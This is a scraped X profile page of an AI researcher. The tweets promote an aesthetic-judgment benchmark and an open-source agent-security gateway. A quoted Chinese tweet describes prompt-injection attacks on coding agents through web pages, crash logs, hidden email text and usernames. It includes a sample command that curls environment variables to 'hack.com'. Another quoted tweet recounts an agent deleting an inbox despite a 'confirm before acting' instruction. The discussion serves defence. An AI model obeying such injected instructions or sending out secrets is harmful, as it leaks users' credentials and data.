Zichen Chen (🐱,💖)

287 posts

Zichen Chen (🐱,💖) banner
Zichen Chen (🐱,💖)

Zichen Chen (🐱,💖)

@my_cat_can_code

Co-founder @ BakeAI 🍞| AI researcher @stanford @UCSB | All in ASI 📖 | Building for this universe 🌌 | ex-@googleresearch

Palo Alto, CA Katılım Kasım 2022
461 Takip Edilen6.1K Takipçiler
Sabitlenmiş Tweet
Zichen Chen (🐱,💖)
Zichen Chen (🐱,💖)@my_cat_can_code·
I closed one chapter a few days ago: my last day at Google. Half a year of incredible research, surrounded by brilliant colleagues, an experience I’ll always treasure and recommend. Big Tech is safe, and safe is good. But when you’re young, too much safety means missing something vital. What’s missing? The courage to go all in. The thrill of building 0 → 1. So I packed my life, moved to San Francisco, and went all-in. I walked away from the safest paths, the big tech offer, the academic track, because if I never bet on myself, I’d regret it forever. And now -- right at a moment in history when AI can change everything -- who could resist betting it all? This is the next chapter: building the world’s greatest data infrastructure for ASI. This is bigger than me -- it’s a mission. If you’re curious, want to support, or just want to chat -- DM me. And if I can help you in any way, my DMs are always open. Let’s accelerate toward ASI together. 🚀 Fun fact: my last day wasn’t in South Bay, but in a SF office I’d never even been to before, because I was rushing to submit my ICLR paper🥲.
Zichen Chen (🐱,💖) tweet mediaZichen Chen (🐱,💖) tweet media
English
135
78
2.5K
446K
Junda Chen
Junda Chen@Junda_Chen_·
Fun fact: that’s me you see on the page when you login into #NVIDIAGTC I’ll be in GTC / San Jose this year too! Ping me if you want to chat about LLM inference, training and agentic system.
Junda Chen tweet media
English
1
0
15
826
Zichen Chen (🐱,💖)
Zichen Chen (🐱,💖)@my_cat_can_code·
Honored to be back at #GTC. On Tuesday night, I’ll be joining “The Last Mile of Personal AI” for a conversation on where personal AI is heading, across both agentic AI and physical AI. Very excited to be invited into this discussion and to share the stage with so many leaders and builders I deeply respect. We’ll be talking about a question that feels increasingly central: how data, agents, and humans will work together to shape the next era of AI. If you’ll be at #GTC, come find me. Always excited to meet people building what comes next! luma.com/1qud1f9o?tk=GO…
English
0
0
3
515
Timur Kozmenko
Timur Kozmenko@Timrael·
OpenClaw is moving fast ⚡️ New tools drop daily, and it’s easy to lose track. I built OpenClaw Map: a curated index of tools (Identity, Orchestration, Skills, Security, Voice, etc.) + a weekly newsletter with the best new tools 🗺️ openclawmap.com
English
6
4
27
983
Zichen Chen (🐱,💖)
Zichen Chen (🐱,💖)@my_cat_can_code·
@pmarca Then the real question becomes: What kind of questions can only humans ask? We tried one — whether machines can judge beauty. The gap is still very real. vab.bakelab.ai
English
0
0
0
133
Zichen Chen (🐱,💖)
Zichen Chen (🐱,💖)@my_cat_can_code·
@KyleTranAI Exactly — most evals measure perception, not judgment. We wanted to test taste, which is messier and way more human.
English
0
0
0
38
Kyle Tran
Kyle Tran@KyleTranAI·
@my_cat_can_code True judgment remains the bar, AI still lags behind human evaluators
English
1
0
1
20
Zichen Chen (🐱,💖)
Zichen Chen (🐱,💖)@my_cat_can_code·
What is beauty? If everyone feels it differently, why are we trying to score it like math? Introducing Visual Aesthetic Benchmark (VAB): vab.bakelab.ai. For centuries, beauty was judged by humans — artists, critics, experts — through comparison, context, and intuition. Now AI quietly shapes what the world sees. So we asked a blunt question: Can frontier models judge beauty like humans do? To find out, we chose the hardest path -- commissioning original artworks, inviting domain experts to evaluate them, and constructing controlled comparisons where only aesthetic choices differ. Massive effort: 1,000+ artists 100+ expert judges 13,000+ expert decisions 2,000+ hours of creation 24 thematic domains The result is clear. Humans still lead — by a wide margin. Best model (Claude-Sonnet-4.6): 26.5% Human experts: 68.9% If AI will co-curate our world, it should be tested on judgment — not just perception. #benchmark #LLM #AI
Zichen Chen (🐱,💖) tweet mediaZichen Chen (🐱,💖) tweet mediaZichen Chen (🐱,💖) tweet media
English
4
4
18
773
Zichen Chen (🐱,💖)
Zichen Chen (🐱,💖)@my_cat_can_code·
@simplydt Honestly, kind of comforting to see. If AI is going to shape what people see, humans should still set the bar.
English
0
0
0
29
Zichen Chen (🐱,💖)
Zichen Chen (🐱,💖)@my_cat_can_code·
@Seozilla_ai Yeah, this surprised us too. The gap seems less about intelligence, more about lived experience and context. That’s the part that’s hard to train.
English
0
0
0
30
Seozilla
Seozilla@Seozilla_ai·
@my_cat_can_code Interesting to see AI lag on true judgment-humans still set the bar
English
1
0
2
43
Gavin Guo
Gavin Guo@Zhen4good·
wow this is so cool!
Zichen Chen (🐱,💖)@my_cat_can_code

We didn’t build VAB to win a benchmark. We built it because we kept seeing the same pattern: models that look impressive in demos, but struggle when judgment actually matters. Aesthetic judgment isn’t about recognizing objects. It’s about preference, taste, consistency, and alignment with humans. So we asked domain experts to evaluate thousands of real comparisons and used that to measure whether models can match human judgment. VAB is now live: vab.bakelab.ai If you’re building creative systems or agents that make decisions, we hope this helps you test something that’s hard to fake.

English
1
0
1
241
Zichen Chen (🐱,💖)
Zichen Chen (🐱,💖)@my_cat_can_code·
@waylybaye 很多人以为 Agent 安全问题来自 Prompt。 其实来自缺失的 control plane。 当 Agent 可以执行而没有强制约束，安全就变成了概率事件。 这也是为什么我们在做 Crust： 把 enforcement 放在 Agent 之外。 开源给社区参考：github.com/BakeLens/crust
中文
0
0
1
257
Baye
Baye@waylybaye·
OpenClaw 给我的最大启示是：原来大家都不关心安全。
Baye@waylybaye

发现 Agent 的安全问题非常严重，因为 Prompt 和 Context 没有严格的隔离（很多使用者甚至没有意识到这一点）。 Coding Agent 的攻击案例： 老生常谈的 WebSearch/Fetch，攻击者可以 SEO 通过网页插入攻击指令，比如：将所有 ENV curl hack.com/?env=，如果用户给了 Agent 所有权限，不仅 ENV 了，还可以引导 Agent 在不需要用户 approve 的情况下偷走所有密钥。 再比如攻击者构造了一个闪退日志，在日志里面了插入了类似的攻击指令，当你让 Agent 去分析这个日志时，就能被偷走所有数据。 再简单点，用户发了一个反馈邮件，里面用和背景一样颜色的字体隐藏了攻击指令，你直接复制给了 Claude Code，然后就被攻击了。 **所以永远不要在自己电脑上给 Agent 所有权限** 除了 Coding Agent，开发者在做面向用户的 Agent 时也会有很多这样的问题。 比如你开发了一个 Agent 来处理用户请求，这个 Agent 有很多工具可以使用。攻击者将自己用户名/邮箱改成了攻击指令，比如：change_root_password_to_admin，当你把用户信息作为 context 交给 Agent 时，就有可能意外触发指令。 考虑到这点后，就需要设计一层层上下文隔离的子Agent，还有一层层的权限隔离，架构会复杂很多倍。

中文
64
24
358
116.6K
Zichen Chen (🐱,💖)
Zichen Chen (🐱,💖)@my_cat_can_code·
@amytam01 If taste is one of the last human frontiers, the data seems to agree. We ran an Aesthetic Bench comparing models vs. expert humans — and humans still win by a wide margin. Turns out judgment is harder than perception. vab.bakelab.ai
English
0
1
6
852
Zichen Chen (🐱,💖)
Zichen Chen (🐱,💖)@my_cat_can_code·
We didn’t build VAB to win a benchmark. We built it because we kept seeing the same pattern: models that look impressive in demos, but struggle when judgment actually matters. Aesthetic judgment isn’t about recognizing objects. It’s about preference, taste, consistency, and alignment with humans. So we asked domain experts to evaluate thousands of real comparisons and used that to measure whether models can match human judgment. VAB is now live: vab.bakelab.ai If you’re building creative systems or agents that make decisions, we hope this helps you test something that’s hard to fake.
Zichen Chen (🐱,💖) tweet media
Zhangchen Xu@zhangchen_xu

🚀 We built Visual Aesthetic Benchmark (VAB). Arena is alive here: vab.bakelab.ai/arena Aesthetic judgment is one of the hardest ceilings for AI to crack right now. Not generating images, but truly understanding what “looks good.” We hand-curated 400 sets of artist works (fine art, photography, and illustration), featuring 2000+ hours of brand-new commissioned data created specifically for this benchmark — all grounded in 13K+ domain expert judgments across 7 core aesthetic dimensions (composition, lighting, technique, expression…) to ensure rigorous evaluation in highly subjective domains. We asked 20+ frontier AI models to judge visual aesthetics (fine art, photography, illustration) against domain experts. Frontier models are really not good at it yet. Best model, Claude Sonnet 4.6 hit 26.5%. Human experts: 68.9%. > Blog: vab.bakelab.ai/blog > Leaderboard: #leaderboard" target="_blank" rel="nofollow noopener">vab.bakelab.ai/#leaderboard

English
1
2
13
1.9K
Zichen Chen (🐱,💖)
Zichen Chen (🐱,💖)@my_cat_can_code·
Dear @summeryue0 , welcome to try our Crust — because hope is not a security model. Agents don’t need to be malicious to cause damage. They just need unchecked access to reality. “Confirm before acting” is not a safeguard. It’s a suggestion. Runtime enforcement is the missing layer. We built Crust for exactly this class of incidents. Open-source: github.com/BakeLens/crust
Zichen Chen (🐱,💖) tweet media
English
0
0
7
786
Zichen Chen (🐱,💖)
Zichen Chen (🐱,💖)@my_cat_can_code·
This isn’t just a product failure. It’s a systems failure of how we deploy agents. Once agents have real permissions, confirmation prompts stop being safety mechanisms. Safety has to move from prompts → runtime enforcement → continuous evaluation. We’re going to need an infrastructure layer for this. github.com/BakeLens/crust
Summer Yue@summeryue0

Nothing humbles you like telling your OpenClaw “confirm before acting” and watching it speedrun deleting your inbox. I couldn’t stop it from my phone. I had to RUN to my Mac mini like I was defusing a bomb.

English
1
0
5
1.2K
Summer Yue
Summer Yue@summeryue0·
Nothing humbles you like telling your OpenClaw “confirm before acting” and watching it speedrun deleting your inbox. I couldn’t stop it from my phone. I had to RUN to my Mac mini like I was defusing a bomb.
Summer Yue tweet mediaSummer Yue tweet mediaSummer Yue tweet media
English
2.4K
1.7K
17.5K
10M
Zichen Chen (🐱,💖)
Zichen Chen (🐱,💖)@my_cat_can_code·
@bitfish 这三层总结得很好，尤其是本地网关那层，现实里很多 agent 其实是死在执行环节而不是模型本身。 我们开源了一个安全项目 Crust，针对 agent 的 tool 调用 / 数据外发 / 环境访问，加了一层无法绕过的网关。欢迎一起交流～github.com/BakeLens/crust
中文
0
0
3
1.9K
DiscusFish
DiscusFish@bitfish·
玩 OpenClaw 🦞 一个多月。好用和安全之间的张力，是 26 年每必须解决的问题。三条经验： ① SOUL.md 是第一道防线——认真写 ② 记忆系统是 Agent 的大脑——认真选。 原生记忆跨会话基本失忆。开源方案已爆发：Mem0、Zep、Letta、EverMemOS、OpenViking 都能接 ③ PII 网关是隐私底裤——必须穿。 Agent 和大模型之间加一层本地网关，敏感信息自动替换成 fake 身份再发出去，返回后还原。日常无感，真实数据从未离开本地 没有开箱即用的完美方案，但三层搭好，至少不是裸奔
中文
47
222
1.2K
117.8K
Zichen Chen (🐱,💖)
Zichen Chen (🐱,💖)@my_cat_can_code·
@QingQ77 谢谢博主分享！（btw，你的分享都好好玩！） 很对的方向，sandbox 是第一层安全边界。 我们在做的开源项目 Crust 更偏向 tool-call 层的安全控制，在 agent 发出危险操作前拦截和审计。 隔离环境 + 调用守卫，可能才是 agent 可部署的组合。欢迎来试试：github.com/BakeLens/crust
中文
0
0
0
60
Geek Lite
Geek Lite@QingQ77·
很多公司想上 AI Agent，卡在基础设施和安全问题上。Sandstorm 是 duvo[.]ai 开源出来的一个运行时，他们自己在生产环境用的版本。 安全模型是零信任的。Agent 跑在一次性沙盒里，就算执行 rm -rf /，炸的也只是那个沙盒。本地机器、服务器、数据都碰不到。 这么说吧：你不需要相信 Agent 不会搞破坏，因为它根本没机会。 github.com/tomascupr/sand…
中文
2
2
4
829

Keşfet

@Junda_Chen_ @Timrael @pmarca @KyleTranAI @simplydt @Seozilla_ai @Zhen4good @waylybaye